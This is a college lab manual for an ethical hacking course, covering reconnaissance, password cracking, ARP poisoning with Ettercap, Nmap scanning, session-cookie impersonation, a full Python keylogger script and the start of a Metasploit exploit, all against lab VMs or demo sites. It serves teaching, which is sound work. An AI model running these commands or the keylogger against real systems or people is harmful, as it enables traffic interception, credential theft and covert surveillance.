

NIRMALA MEMORIAL FOUNDATION COLLEGE OF
COMMERCE AND SCIENCE(Autonomous),
KANDIVALI (E)

DEPARTMENT OF B.SC. COMPUTER SCIENCE

T.Y. B.SC. CS
SEMESTER VI



LAB MANUAL

OF

[USCSP6042]

ETHICAL HACKING

INDEX

SR. NO.	TITLE	DATE	SIGN
1	Google and Whois Reconnaissance	17/12/2025	
2	Password Encryption and Cracking with CrypTool and Cain and Abel	16/1/2026	
3	Linux Network Analysis and ARP Poisoning		
4	Port Scanning with NMap		
5	Network Traffic Capture and DoS Attack with Wireshark and Nemesy		
6	Session Impersonation with Firefox and Tamper Data		
7	Creating a Keylogger with Python	16/1/2026	
8	Exploiting with Metasploit (Kali Linux)		

PRACTICAL NO 1

Title: Google and WHOIS Reconnaissance

Aim:

To collect and analyze publicly available information about a target organization or domain using Google Dorking and WHOIS lookup techniques.

Requirements

Hardware Requirements

- **Personal Computer / Laptop**
- **Internet Connectivity**

Software Requirements

- **Web Browser (Google Chrome / Mozilla Firefox)**
 - **Google Search Engine**
 - **WHOIS Lookup Tools:**
 - <https://whois.domaintools.com>
 - <https://who.is>
 - <https://lookup.icann.org>
 - <https://www.whois.com/whois>
 - **Linux OS (optional for command-line WHOIS and DNS tools)**
-

Technologies Used

- **Google Search Operators (Google Dorking)**
 - **Domain Name System (DNS)**
 - **WHOIS Protocol**
-

Write Ups

Google Reconnaissance (Google Dorking)

Google Reconnaissance, also known as Google Dorking, is the technique of using advanced Google search operators to discover sensitive information indexed by search engines. Many websites unintentionally expose confidential files, directories, login pages, and internal documents due to improper security configurations.

Google Dorking helps identify:

- **Admin and login pages**
- **Open directories**
- **Backup and configuration files**
- **PDF, DOC, XLS documents**
- **Email addresses and contact details**
- **Internal URLs**

Advanced operators such as site:, filetype:, inurl:, and intitle: help refine searches and reveal hidden data. Since Google indexes publicly accessible content, attackers can exploit this information if proper security measures are not implemented.

WHOIS Reconnaissance

WHOIS is a query-response protocol used to retrieve information about domain name registrations. When a domain is registered, details about the registrant, registrar, and technical contacts are stored in WHOIS databases.

WHOIS reconnaissance provides valuable intelligence such as:

- **Domain owner details**
- **Registrar information**
- **Domain creation and expiry dates**
- **Name servers**
- **Hosting provider information**
- **Administrative and technical contacts**

Even when WHOIS privacy protection is enabled, technical details like name servers and registration timelines remain accessible and useful for reconnaissance.

Importance of Google and WHOIS Reconnaissance

These techniques help security analysts:

- **Map the target's online footprint**
- **Identify exposed sensitive information**
- **Understand domain ownership and infrastructure**
- **Prepare for further security assessments**

They also highlight the importance of secure configurations, restricted indexing, and information exposure control.

Precautions

- Perform reconnaissance only on authorized or test domains
- Do not attempt unauthorized access
- Use information strictly for educational purposes
- Follow ethical hacking guidelines

Procedure

Part A: Google Reconnaissance

1. Open a web browser and go to <https://www.google.com>
2. Identify the target domain (example: example.com)
3. Perform basic searches:
 - example.com
 - "example company" contact
 - "example.com" confidential
4. Use advanced Google dorks:

Google Dork	Description
site:example.com	Lists indexed pages
site:example.com filetype:pdf	Finds PDF documents
site:example.com inurl:admin	Finds admin/login pages
intitle: "index of"	Finds open directories
cache:example.com	Views cached pages
"example.com" password	Searches for leaked credentials
related:example.com	Finds related websites

5. Analyze results for exposed data
6. Save URLs and screenshots for documentation.

Part B: WHOIS Reconnaissance

1. Visit <https://who.is>
2. Enter the target domain: **example.com**
3. Analyze the WHOIS output:
 - Registrar
 - Registrant organization
 - Contact email
 - Name servers
 - Creation and expiration dates
 - IP address
4. Perform reverse WHOIS lookup (optional)
5. Use command-line WHOIS (optional):
6. **whois example.com**
7. Perform DNS lookup (optional):
8. **nslookup example.com**

or

dig example.com

Observation

Using Google and WHOIS reconnaissance, the following information was collected:

- **Domain ownership details**
- **Registrar information**
- **Domain lifecycle data**
- **Name servers and IP address**
- **Admin and technical contact information**
- **Internal URLs and directories**
- **Publicly accessible documents**

WHOIS Output

Domain Name: example.com

Registrar: GoDaddy.com, LLC

Creation Date: 1995-08-14

Expiration Date: 2025-08-13

Name Servers:

NS1.EXAMPLE.COM

NS2.EXAMPLE.COM

Registrant Email: admin@example.com

Google Dork Findings

<https://example.com/admin/login.php>

<https://example.com/confidential/report.pdf>

Result

Thus, publicly available information about the target domain was successfully gathered and analysed using Google Dorking and WHOIS reconnaissance techniques.

Conclusion

Google and WHOIS reconnaissance demonstrate how significant amounts of sensitive information can be collected without actively attacking a system. This practical emphasizes the need for secure configurations, proper access controls, and awareness of public data exposure to prevent misuse.

PRACTICAL NO 2

Title

Password Encryption using RC4 and Password Cracking using John the Ripper

Aim

To understand and demonstrate:

1. **Password encryption and decryption** using the **RC4 algorithm** in CrypTool, and
2. **Password cracking using a dictionary attack** with **John the Ripper** on Kali Linux.

Operating System

- Windows OS
- Kali Linux

Tools and Technologies Used

- **CrypTool 1 (Classic)** – for password encryption and decryption using RC4
 - **John the Ripper** – for password cracking using dictionary attack
 - **Dictionary file** – rockyou.txt
 - **Hash Algorithm** – MD5
 - **Operating Systems** – Windows OS and Kali Linux
-

Theory / Write-Up

Password Encryption

Password encryption is the process of converting a readable password (plaintext) into an unreadable format (ciphertext) using an encryption algorithm and a secret key. Encryption ensures confidentiality of sensitive information.

RC4 Algorithm

RC4 (Rivest Cipher 4) is a **symmetric stream cipher**, meaning the **same secret key** is used for both encryption and decryption. RC4 generates a **pseudo-random keystream** which is XORed with the plaintext to produce ciphertext.

Although RC4 is no longer recommended for modern secure communication due to known vulnerabilities, it is widely used in academic environments to understand:

- Symmetric encryption
- Stream cipher behavior
- Key-based encryption and decryption

Password Cracking

Password cracking is the process of recovering the original password from a stored hash. It is commonly used by security professionals to test the **strength of passwords**.

John the Ripper

John the Ripper is an **open-source password cracking tool** available on Kali Linux. It supports multiple attack modes such as:

- Dictionary attack
- Brute-force attack
- Hybrid attack

A **dictionary attack** works by hashing words from a wordlist and comparing them with the target hash. If a match is found, the password is successfully cracked.

Precautions

- Perform password cracking only on **test passwords**
- Do not attempt to crack real user credentials
- Use tools strictly for **educational and ethical purposes**
- Follow ethical hacking guidelines

Procedure

PART A: Password Encryption and Decryption using RC4 (CrypTool 1)

Step 1: Install CrypTool 1

- Download and install **CrypTool 1 (Classic)** on a Windows system.
- Launch the CrypTool application.

Step 2: Create a New Document

- Click **File → New**

- A blank document opens.

Step 3: Enter Plaintext Password

- Type the plaintext password in the document.

Example:

password123

Step 4: Encryption using RC4

1. Select the plaintext using the mouse.
2. From the menu bar, click:
3. Encrypt/Decrypt → Symmetric → RC4 → Encrypt
4. A dialog box appears.
5. Enter the **Secret Key**:
6. secretkey
7. In the **Bits** field, enter:
8. 128
9. Click **OK**.
10. Observe that the plaintext is converted into **ciphertext**.

Step 5: Decryption using RC4

1. Select the generated ciphertext.
2. From the menu bar, click:
3. Encrypt/Decrypt → Symmetric → RC4 → Decrypt
4. Enter the **same secret key**:
5. secretkey
6. Enter the **same number of bits**:
7. 128
8. Click **OK**.
9. Observe that the original plaintext password is restored.

Verification

- Verify that the decrypted password matches the original plaintext entered before encryption.

Observations (Part A – CrypTool)

- RC4 uses the same secret key for encryption and decryption.
- The decrypted output is identical to the original plaintext.
- This confirms that RC4 is a **symmetric encryption algorithm**.

PART B: Password Cracking using John the Ripper (Dictionary Attack)

Step 1: Boot into Kali Linux

- Start the system and boot into **Kali Linux**.
- Log in using valid credentials.

Step 2: Open Terminal

- Open the **Terminal** from the applications menu.

Step 3: Create a Test Password Hash

Generate an MD5 hash of a sample password using the following command:

```
echo -n password123 | md5sum
```

- Note down the generated hash value.

Step 4: Store the Hash in a File

1. Create a file to store the hash:

```
nano hash.txt
```

2. Paste the generated hash into the file.

3. Save and exit the file (CTRL + O, ENTER, CTRL + X).

Step 5: Prepare the Dictionary File

1. Navigate to the wordlists directory:

```
ls /usr/share/wordlists/
```

2. If rockyou.txt is compressed, extract it using:

```
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
```

Step 6: Run Dictionary Attack using John the Ripper

Execute the following command:

```
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

- John the Ripper hashes each word from rockyou.txt
- It compares each hash with the target MD5 hash
- If a match is found, the password is cracked

Step 7: Display the Cracked Password

After the attack completes, display the recovered password using:

```
john --format=raw-md5 --show hash.txt
```

- Observe the cracked plaintext password.

Observations (Part B)

- Hash algorithm used: **MD5**
- Attack type: **Dictionary Attack**
- Tool used: **John the Ripper**
- Dictionary file used: **rockyou.txt**
- Cracked password:
- password123

Result (Part B)

John the Ripper successfully cracked the MD5 hash using a dictionary attack and recovered the original password.

Report / Overall Observations

- CrypTool successfully encrypted and decrypted a password using the RC4 algorithm with the same secret key.
- John the Ripper successfully cracked the MD5 hash using a dictionary attack.
- Weak passwords can be easily recovered using common wordlists.

Conclusion

The experiment successfully demonstrated **password encryption and decryption using the RC4 algorithm** and **password cracking using John the Ripper**.

This practical highlight the importance of using **strong, complex passwords** and **secure hashing algorithms** to protect against dictionary-based attacks.

PRACTICAL NO 3

Title

Linux Network Analysis and ARP Poisoning Attack using Ettercap

AIM:

To perform Linux network analysis using standard networking commands and to conduct an ARP poisoning attack in a controlled laboratory environment in order to redirect and intercept network traffic and analyze its impact on network

Tools Required

- Kali Linux – Attacker machine
- Metasploitable 2 – Target machine
- Wireshark – Network packet analyzer
- Ettercap – ARP poisoning and Man-in-the-Middle tool

Operating System

- Kali Linux
- Metasploitable 2 (Linux-based vulnerable VM)

Setup / Environment

- Kali Linux and Metasploitable 2 are installed as virtual machines
- Both machines are connected to the same LAN / Host-only / Internal network
- Network connectivity between attacker and target is verified before starting the experiment

Theory

Linux Network Analysis

Linux network analysis involves examining network interfaces, connectivity, routing paths, and active network services. Commands such as ifconfig, ping, netstat, and traceroute help administrators and security analysts understand how systems communicate over a network.

These commands are used to:

- Retrieve network interface information
- Test connectivity between hosts
- Identify open ports and active connections

- Trace packet paths across the network

ARP Protocol

ARP (Address Resolution Protocol) is used to map an IP address to a MAC address within a local network. Each system maintains an ARP cache table to store these mappings for efficient communication.

ARP Poisoning

ARP poisoning (ARP spoofing) is a network attack technique where an attacker sends forged ARP replies to trick devices into associating the attacker's MAC address with another system's IP address (usually the gateway).

This results in a Man-in-the-Middle (MITM) situation where:

- Network traffic is redirected through the attacker
- Packets can be intercepted and analyzed
- Communication security is compromised
- Network disruption may occur

Ettercap

Ettercap is a network security tool used for:

- ARP poisoning
- Packet sniffing
- Man-in-the-Middle attacks
- Network traffic interception and analysis

Procedure

PART A: Linux Network Analysis

Step 1: Display Network Interface Information

ifconfig

Purpose

- **Displays:**
 - Network interfaces (eth0, wlan0, lo)
 - IP address
 - MAC address
 - Packet statistics

Expected Output:

eth0 Link encap:Ethernet

inet addr:192.168.56.101

HWaddr 08:00:27:aa:bb:cc

Important Points

- inet addr → IP address of Kali Linux
- HWaddr → MAC address
- eth0 → Wired network interface
- lo → Loopback interface (127.0.0.1)

Step 2: Identify Metasploitable 2 IP Address

On Metasploitable 2

Login using:

Username: msfadmin

Password: msfadmin

Run:

ifconfig

Note

- **Identify the inet addr of Metasploitable 2**
- **Example:**

inet addr:192.168.56.102

Step 3: Test Network Connectivity

ping <Metasploitable2_IP>

Purpose

- Verifies whether Kali can reach Metasploitable 2
- Confirms both machines are on the same network

Successful Output

64 bytes from 192.168.56.102: icmp_seq=1 ttl=64 time=0.5 ms

Stop the Ping

Press:

CTRL + C

If Ping Fails

- Check VM network adapter settings
- Ensure both machines use the same network mode
- Disable firewall temporarily (for lab only)
- Verifies reachability between Kali Linux and Metasploitable 2

Step 4: View Active Network Connections

netstat -antpl

Command Breakdown

Option	Meaning
-a	Show all connections
-n	Show numerical addresses
-t	TCP connections
-p	Show PID and process
-l	Listening services

Purpose

- Displays:
 - Active TCP connections
 - Listening ports
 - Running services
 - Associated processes

Sample Output

Proto	Local Address	Foreign Address	State	PID/Program
tcp	0.0.0.0:22	0.0.0.0:*	LISTEN	1234/sshd

Interpretation

- Port 22 → SSH service running
- LISTEN → Service is waiting for connections
- PID/Program → Process using the port
- Displays active TCP connections and listening services

Step 5: Trace Network Route

tracert <Metasploitable2_IP>

- Displays the route packets take to reach the target host

Purpose

- Shows the path packets take from Kali to Metasploitable 2
- Identifies hops (routers) in between

Sample Output

1 192.168.56.102 0.4 ms 0.3 ms 0.2 ms

Explanation

- Hop 1 → Destination reached directly
- Few hops = same local network
- More hops = routed through gateways

Common Errors & Fixes

Error	Cause	Fix
ping: Destination Host Unreachable	Network mismatch	Check adapter settings
tracert: command not found	Tool missing	Install using <code>sudo apt install traceroute</code>
No IP in ifconfig	DHCP issue	Restart networking

- Kali Linux network interfaces were analyzed
- Connectivity with Metasploitable 2 verified
- Active TCP services identified
- Packet routing path understood

PART B: ARP Poisoning Attack using Ettercap

Step 1: Identify IP Addresses

On Kali Linux

ifconfig

Note:

- Kali IP address
- Network interface (eth0)

On Metasploitable 2

ifconfig

Note:

- Metasploitable IP address

Step 2: Identify Default Gateway

On Kali Linux:

route -n

Look for:

0.0.0.0 <Gateway_IP>

Note the Gateway IP address

Step 3: Enable IP Forwarding on Kali (Critical Step)

This allows Kali to forward packets between victim and gateway.

```
sudo sysctl -w net.ipv4.ip_forward=1
```

Verification

```
cat /proc/sys/net/ipv4/ip_forward
```

Output:

1

Step 4: Launch ARP Poisoning Attack

Using Ettercap (Text Mode)

```
sudo ettercap -T -q -i eth0 -M arp:remote /<Metasploitable_IP>/  
/<Gateway_IP>/
```

Example:

```
sudo ettercap -T -q -i eth0 -M arp:remote /192.168.56.102/ /192.168.56.1/
```

Step 5: Verify ARP Poisoning

On Metasploitable 2, run:

```
arp -n
```

Observation:

- Gateway IP is mapped to Kali's MAC address
- This confirms ARP cache poisoning

Step 6: Intercept Network Traffic

On Kali Linux:

```
sudo wireshark
```

- Select interface eth0
- Apply filter:
http

If Metasploitable accesses any service:

- Traffic flows through Kali
- Unencrypted data can be captured

Step 7: Analyze the Impact of the Attack

Observed Effects:

- Attacker positions itself as Man-in-the-Middle
- Victim traffic is redirected through attacker
- ARP tables are manipulated
- Confidential data may be exposed if unencrypted

Security Impact:

- Loss of data confidentiality
- Possibility of credential theft
- Session hijacking risk
- Network trust model compromised

Step 8: Stop the Attack and Restore Network

Press:

CTRL + C

Disable IP forwarding:

sudo sysctl -w net.ipv4.ip_forward=0

Restart victim network or reboot machines to clear ARP cache.

Result

- ARP poisoning attack was successfully performed
- Network traffic was redirected through the attacker
- The impact on network communication and security was observed and analyzed

Observations

- Linux network commands successfully displayed interface, connectivity, and routing details
- ARP table entries were altered due to poisoning
- Network traffic between Metasploitable 2 and gateway was routed through Kali Linux
- Packets were intercepted and analyzed using Wireshark
- Temporary network disruption was observed during the attack

Conclusion

This experiment demonstrates how ARP poisoning can be used to intercept network traffic by exploiting the lack of authentication in the ARP protocol. It highlights the importance of secure network configurations, encrypted communication, and ARP protection mechanisms.

Precautions

- Perform the attack only in a controlled lab environment
- Do not attempt on real or unauthorized networks
- Disable IP forwarding after completion

PRACTICAL NO: -04

Title

Port Scanning using Nmap (ACK, SYN, FIN, NULL, and XMAS Scans)

Aim

To use Nmap to perform different port scanning techniques such as ACK, SYN, FIN, NULL, and XMAS scans on a target system in order to determine port states and analyze network services running on the target.

Tools Required

- Kali Linux (Attacker)
- Metasploitable 2 (Target)
- Nmap
- VirtualBox (Host-only / Internal Network)

Pre-Requisites

- Kali and Metasploitable must be on the **same network**
- Target machine must be **reachable (ping working)**
- User must have **root privileges** on Kali

Write Ups:

Port Scanning

Port scanning is a fundamental technique in network reconnaissance used to identify open, closed, and filtered ports on a target system. Each open port corresponds to a network service that may be exploited if misconfigured or vulnerable.

Nmap

Nmap (Network Mapper) is a powerful open-source tool used for:

- **Network discovery**
- **Port scanning**
- **Service and OS detection**
- **Firewall analysis**

Types of Scans

SYN Scan

- **Sends TCP SYN packets**
- **Open ports reply with SYN-ACK**
- **Stealthy and fast**

ACK Scan

- Sends TCP ACK packets
- Used to map firewall rules
- Determines filtered or unfiltered ports

FIN Scan

- Sends FIN packets
- Closed ports respond with RST
- Open ports ignore packets

NULL Scan

- Sends packets with no flags set
- Used to evade firewalls

XMAS Scan

- Sends packets with FIN, PSH, and URG flags set
- Used to detect open ports based on no response

Port States Identified

State	Description
Open	Service is listening
Closed	No service listening
Filtered	Firewall blocks packets
Unfiltered	Port reachable, firewall allows packets

Procedure

Step 1: Identify IP Address of Target

On Metasploitable 2

ifconfig

Note down:

Metasploitable IP = <TARGET_IP>

Step 2: Verify Connectivity

On Kali Linux

ping <TARGET_IP>

Successful replies confirm network connectivity.

Step 3: SYN Scan (Stealth Scan)

Command

```
sudo nmap -sS <TARGET_IP>
```

Purpose

- Performs a half-open TCP scan
- Does not complete the TCP handshake
- Fast and stealthy

Port States Observed

- **Open**
- **Closed**
- **Filtered**

Step 4: ACK Scan

Command

```
sudo nmap -sA <TARGET_IP>
```

Purpose

- Used to detect **firewall rules**
- Determines whether ports are **filtered or unfiltered**
- Does NOT detect open ports

Port States Observed

- **Filtered**
- **Unfiltered**

Step 5: FIN Scan

Command

```
sudo nmap -sF <TARGET_IP>
```

Purpose

- Sends FIN packets without establishing a session
- Bypasses some firewalls

- Based on TCP RFC behavior

Port States Observed

- **Open|Filtered**
- **Closed**

Step 6: NULL Scan

Command

```
sudo nmap -sN <TARGET_IP>
```

Purpose

- Sends packets with **no TCP flags set**
- Used to evade simple packet filters

Port States Observed

- **Open|Filtered**
- **Closed**

Step 7: XMAS Scan

Command

```
sudo nmap -sX <TARGET_IP>
```

Purpose

- Sends packets with **FIN, PSH, and URG flags**
- Named “XMAS” because flags are “lit up”

Port States Observed

- **Open|Filtered**
- **Closed**

Step 8: Service Detection

```
sudo nmap -sS -sV <TARGET_IP>
```

Purpose

- Identifies services running on open ports

- Helps analyze vulnerable services

Observation

- SYN scan revealed multiple open ports on the target system
- ACK scan indicated firewall filtering behavior
- FIN, NULL, and XMAS scans identified ports as open|filtered
- Metasploitable exposed several insecure services

Result

Different Nmap scanning techniques were successfully performed on the target system. Various port states were identified, and active network services were analyzed.

Conclusion

This experiment demonstrates how different Nmap scan types work at the TCP level and how they can be used to analyze port states, firewall behavior, and running services. Advanced scan techniques help attackers and security analysts understand network exposure and security weaknesses.

Precautions

- Perform scans only in authorized lab environments
- Avoid scanning real or public networks
- Use root privileges carefully

PRACTICAL NO 5

Title

Network Traffic Capture and DoS Attack Analysis using Wireshark and Nemesy

Aim

- To capture and analyze network traffic using Wireshark on a specific network interface.
 - To study the behavior of a Denial of Service (DoS) attack using Nemesy in a controlled laboratory environment.
 - To observe the impact of excessive traffic on the availability and performance of the target system.
-

Tools / Software Required

- Kali Linux (Attacker)
 - Metasploitable 2 (Target)
 - Wireshark
 - Nemesy (DoS testing tool)
 - VirtualBox (Host-only / Internal Network)
-

Pre-Requisites

- Kali and Metasploitable must be on the **same Host-only network**
- Both machines must be able to **ping each other**
- User must have **root privileges**

Write-Up

Network traffic capture is an essential technique used by network administrators and security analysts to monitor data packets flowing through a network. Tools like Wireshark allow detailed inspection of packets to identify protocols, communication patterns, and potential security issues.

A Denial of Service (DoS) attack aims to disrupt the availability of a system or network by overwhelming it with excessive traffic or requests. Nemesy is a traffic-generation and DoS

testing tool that can be used in controlled environments to study the effects of high traffic loads on a target system.

This experiment focuses on **observing traffic patterns and impact**, not causing real damage.

Procedure

PART A: Network Traffic Capture using Wireshark

Step 1: Find IP Address of Both Machines

On Kali Linux

`ifconfig`

Note Kali IP (example: 192.168.56.101)

On Metasploitable

`ifconfig`

Note Metasploitable IP (example: 192.168.56.102)

Step 2: Check Network Connectivity

From Kali:

`ping <Metasploitable_IP>`

If replies come → Network is working

If not → Fix network before proceeding

Press **CTRL + C** to stop ping.

Step 3: Start Wireshark on Kali

`sudo wireshark`

Step 4: Select Network Interface

- Choose **eth0**
- Click **Start Capturing Packets**

Wireshark is now listening to network traffic.

Step 5: Generate Normal Traffic

From Kali (new terminal):

ping <Metasploitable_IP>

Let it run for **10–15 seconds**.

Step 6: Stop Capture

- Go back to Wireshark
- Click **Stop (Red Square)**

Step 7: Analyze Normal Traffic

In Wireshark, observe:

- Source IP
- Destination IP
- Protocol: ICMP
- Packet rate (slow and steady)

Apply filter:

icmp

Observation:

Packets are evenly spaced and the target responds normally.

PART B: DoS Attack Analysis (Learning & Simulation)

Important!

We are NOT launching a real attack.

We simulate **DoS-like traffic** to understand its impact.

Step 8: Understand Nemesis (Concept)

Nemesis is a tool used to:

- Generate excessive traffic
- Simulate flooding attacks

- Test how systems behave under stress

Step 9: Simulate DoS-Like Traffic (Safe Method)

From Kali:

```
ping -i 0.01 <Metasploitable_IP>
```

This sends packets **very fast**, similar to flooding.

Step 10: Capture Traffic During Simulation

1. Start **new capture** in Wireshark
2. Let traffic run for **20–30 seconds**
3. Stop capture

Step 11: Analyze DoS-Like Traffic

In Wireshark, observe:

- Very high packet count
- Packets arriving extremely fast
- Congested traffic flow

Apply filter:

```
icmp
```

Observation

Packet rate is very high and network appears congested.

Step 12: Observe Impact on Metasploitable

On Metasploitable:

```
ping <Kali_IP>
```

Observe:

- Delay in replies
- Packet loss
- Slow response

PART C: Understanding the Impact

Step 13: Compare Normal vs DoS Traffic

Normal Traffic	DoS-Like Traffic
Slow packets	Very fast packets
Stable response	Delayed response
Low bandwidth use	High bandwidth use

Step 14: Stop All Traffic

Press **CTRL + C** on Kali to stop ping.

Result

Network traffic was captured and analyzed using Wireshark. Excessive traffic similar to a DoS attack caused network congestion and reduced system responsiveness.

Conclusion

This experiment helped understand how network traffic flows normally and how excessive traffic can overwhelm a system. Wireshark clearly shows packet flooding behavior, helping security professionals detect DoS attacks.

Precautions

- Perform only in lab environment
- Never attack real systems
- Stop traffic after observation

PRACTICAL NO 6

Title

Intercepting and Modifying HTTP Requests using Tamper Data and Demonstrating Session Impersonation

Aim

- To install and use Tamper Data in Firefox to intercept and modify HTTP requests.
- To demonstrate session impersonation by editing a session token or cookie value.
- To understand the risks of weak session management and the significance of strong security controls.

Tools Required

- Firefox Browser (version 56 or below – legacy add-ons supported)
- Tamper Data Firefox Extension
- Cookie Editor Firefox Extension
- TechPanda (demo website)
- Kali Linux (recommended)

Pre-Requisites

- Firefox supports legacy extensions
- Internet connectivity available
- Experiment performed only for academic purposes

Write Ups

Web applications rely on HTTP requests and session mechanisms to authenticate users and maintain user state. When session management is weak or improperly implemented, attackers can intercept, modify, or reuse session information to gain unauthorized access. Tools such as Tamper Data and Cookie Editor allow security analysts to observe how data flows between a client and a server and help demonstrate common web vulnerabilities.

This experiment uses Tamper Data to intercept and modify HTTP requests and Cookie Editor to manipulate session cookies on a vulnerable demo website, TechPanda, in a controlled laboratory environment.

About Tamper Data

Tamper Data is a Firefox extension used to:

- Intercept HTTP and HTTPS requests
- View request headers and parameters
- Modify GET and POST data before it reaches the server

It is useful for demonstrating:

- Parameter tampering
- Plaintext transmission of credentials
- Weak server-side validation

About Cookie Editor

Cookie Editor is a browser extension that allows users to:

- View cookies stored by a website
- Edit cookie names and values
- Add or delete cookies

It is commonly used to demonstrate:

- Session hijacking
- Session impersonation
- Weak cookie security configurations

Concept of Session Management

When a user logs into a website, the server generates a session token and stores it in the browser as a cookie (e.g., PHPSESSID). This token identifies the user for subsequent requests. If an attacker gains access to this token, they can impersonate the user without knowing the username or password.

Session Impersonation

Session impersonation occurs when an attacker:

1. Captures a valid session token
2. Reuses the token in another browser or session
3. Gains access as the authenticated user

This attack is possible when:

- Session cookies are not bound to IP/device
- Cookies lack security flags
- HTTPS is not enforced

Security Issues Demonstrated

The experiment highlights the following vulnerabilities:

- Transmission of sensitive data over HTTP
- Lack of protection on session cookies
- Absence of session regeneration
- Reusable session tokens

Impact on Network Communication and Security

- Unauthorized access to user accounts
- Exposure of confidential information
- Risk of privilege escalation
- Loss of user trust and data integrity

Procedure

Step 1: Open Firefox (Legacy Version)

- Launch Firefox (version 56 or below)
- Ensure internet connectivity

Step 2: Install Tamper Data Extension

1. Click Tools → Add-ons
2. Go to Extensions
3. Search for Tamper Data
4. Click Add to Firefox
5. Restart Firefox

Verification:

Tools → Tamper Data option is visible

Step 3: Install Cookie Editor Extension

1. Click Tools → Add-ons
2. Go to Extensions
3. Search for Cookie Editor
4. Click Add to Firefox
5. Restart Firefox

Verification:

Cookie Editor icon appears near the address bar

Step 4: Start Tamper Data

1. Click Tools → Tamper Data
2. Click Start Tamper

Firefox is now ready to intercept HTTP requests

Step 5: Open Target Website

1. In Firefox address bar, open:
<http://techpanda.org> (TechPanda)
2. Click Account → Log In

Step 6: Enter Given Credentials

Enter exactly:

- Email: admin@google.com
- Password: Password2010

Click Login

Step 7: Intercept HTTP Login Request

- Tamper Data automatically intercepts the request
- A popup window appears showing HTTP parameters:

email=admin@google.com

password=Password2010

Observe that credentials are sent in plaintext HTTP
Click OK / Tamper to forward the request

Step 8: Successful Login Confirmation

- User is logged into TechPanda
- Session is now active

Step 9: View Session Cookies

1. Click Cookie Editor icon
2. Observe cookies such as:

PHPSESSID

frontend

session_id

Step 10: Copy Session Token

- Copy the value of:

PHPSESSID or frontend

This value represents the authenticated session

Step 11: Open New Private Window

1. Press:
Ctrl + Shift + P
2. Open:
<http://techpanda.org>

Step 12: Edit Cookie to Impersonate Session

1. Open Cookie Editor
2. Locate the session cookie
3. Replace its value with the copied session token
4. Save changes
5. Refresh the page

Step 13: Observe Result

User is logged in without entering username or password
Session impersonation successful

Step 14: Stop Tamper Data

1. Click Tools → Tamper Data
2. Click Stop Tamper

Security Impact Analysis

Observations

- Session cookies can be reused
- No additional verification (IP/device binding)
- Cookies lack strong protection mechanisms

Security Risks Identified

- Session hijacking
- Unauthorized account access
- Privilege misuse
- Data exposure

Result

Tamper Data successfully intercepted HTTP requests and session impersonation was demonstrated by modifying session cookies using Cookie Editor.

Conclusion

This experiment demonstrates that weak session management and unprotected cookies can allow attackers to intercept and reuse session tokens, leading to session impersonation. Strong session handling and secure cookie attributes are essential to protect web applications.

Precautions

- Perform only on demo / authorized sites
- Do not use real user credentials
- Disable Tamper Data after the experiment

PRACTICAL NO 7

Title

Creating a Keylogger using Python

Aim

- To write a Python script that captures and logs keystrokes from a system.
- To execute the keylogging script and observe the logged keystrokes.
- To understand the potential security risks associated with keyloggers and the importance of protecting against them.

Tools / Software Required

- Python 3
- Text Editor (VS Code / Nano / Notepad++)
- Operating System: Windows / Linux
- Python Library: pynput

Write Up

A keylogger is a type of software that records keystrokes entered by a user. Attackers may use keyloggers to steal sensitive information such as usernames, passwords, and confidential data. From a cybersecurity perspective, understanding how keyloggers work is important in order to detect, analyze, and prevent such threats.

In this experiment, a Python-based keylogger is implemented using the pynput library, which listens to keyboard events and records pressed keys into a log file. This experiment is conducted strictly for educational and security analysis purposes.

Program Code

```
from pynput.keyboard import Listener, Key

log_file = "keylog.txt"

def on_press(key):

    with open(log_file, "a") as file:

        try:

            file.write(key.char)

        except AttributeError:
```

```
        if key == Key.space:
            file.write(" ")
        elif key == Key.enter:
            file.write("\n")
        else:
            file.write(f' [{key.name}] ')

def on_release(key):
    if key == Key.esc:
        return False

with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()
```

Procedure

1. Open a text editor and create a new Python file named keylogger.py.
2. Enter the given Python code into the file and save it.
3. Ensure that Python and the pynput library are installed on the system.
4. Open the terminal or command prompt in the directory containing the file.
5. Execute the program using the command:
6. python keylogger.py
7. Type some characters using the keyboard.
8. Press the **Esc** key to stop the program.
9. Open the keylog.txt file to view the recorded keystrokes.

Observation

- Every key pressed by the user is recorded in the keylog.txt file.
- Alphabetic and numeric characters are logged directly.
- Special keys such as space, enter, and shift are logged in readable format.
- Logging stops when the Esc key is pressed.

Result

The Python program successfully captured and logged keystrokes into a text file. The experiment demonstrated how keyloggers function and how user input can be recorded without the user's awareness.

Security Risks of Keyloggers

- Theft of passwords and login credentials
- Privacy violation
- Identity theft
- Unauthorized data monitoring

Preventive Measures

- Install antivirus and endpoint protection software
- Avoid downloading untrusted applications
- Monitor background processes
- Keep the operating system updated
- Use secure authentication methods

Conclusion

This experiment demonstrated the working of a Python-based keylogger and highlighted the serious security risks associated with keystroke logging attacks. Understanding such techniques is essential for cybersecurity professionals to design effective detection and prevention mechanisms.

Precautions

- This experiment should be performed only in a controlled laboratory environment.
- The code must not be used on unauthorized systems.
- Logging should be stopped after observation.

PRACTICAL NO 8

Title

Exploitation of a Vulnerable System using Metasploit Framework

Aim

To exploit a vulnerable target system using the Metasploit Framework in a controlled laboratory environment in order to understand how vulnerabilities can be used to gain unauthorized access and to analyze the importance of system security and ethical hacking practices.

Tools / Software Required

- Kali Linux (Attacker Machine)
- Metasploitable 2 (Vulnerable Target Machine)
- Metasploit Framework
- VirtualBox (Host-Only / Internal Network)

System Configuration

- Attacker OS: Kali Linux
- Target OS: Metasploitable 2
- Network Type: Host-Only Adapter
- Architecture: Virtualized Environment

Write-Up

Metasploit Framework is a powerful penetration testing tool used by security professionals to identify, exploit, and validate vulnerabilities in computer systems. It provides a collection of exploit modules that target known vulnerabilities in software and services.

Metasploitable 2 is an intentionally vulnerable virtual machine designed for learning ethical hacking and penetration testing. By exploiting Metasploitable using Metasploit, students can safely understand how attackers gain unauthorized access and why system hardening and patch management are critical.

This experiment is performed strictly for academic purposes in a controlled laboratory environment.

Procedure

Step 1: Start the Virtual Machines

- Kali Linux and Metasploitable 2 were powered ON.
- Both machines were configured on the same Host-Only network.

Step 2: Identify Target IP Address

On Metasploitable:

```
ifconfig
```

The IP address of Metasploitable was noted.

Step 3: Verify Network Connectivity

On Kali Linux:

```
ping <Metasploitable_IP>
```

Successful replies confirmed network connectivity.

Step 4: Launch Metasploit Framework

On Kali Linux:

```
msfconsole
```

The Metasploit console was started successfully.

Step 5: Search for Vulnerable Services

```
search vsftpd
```

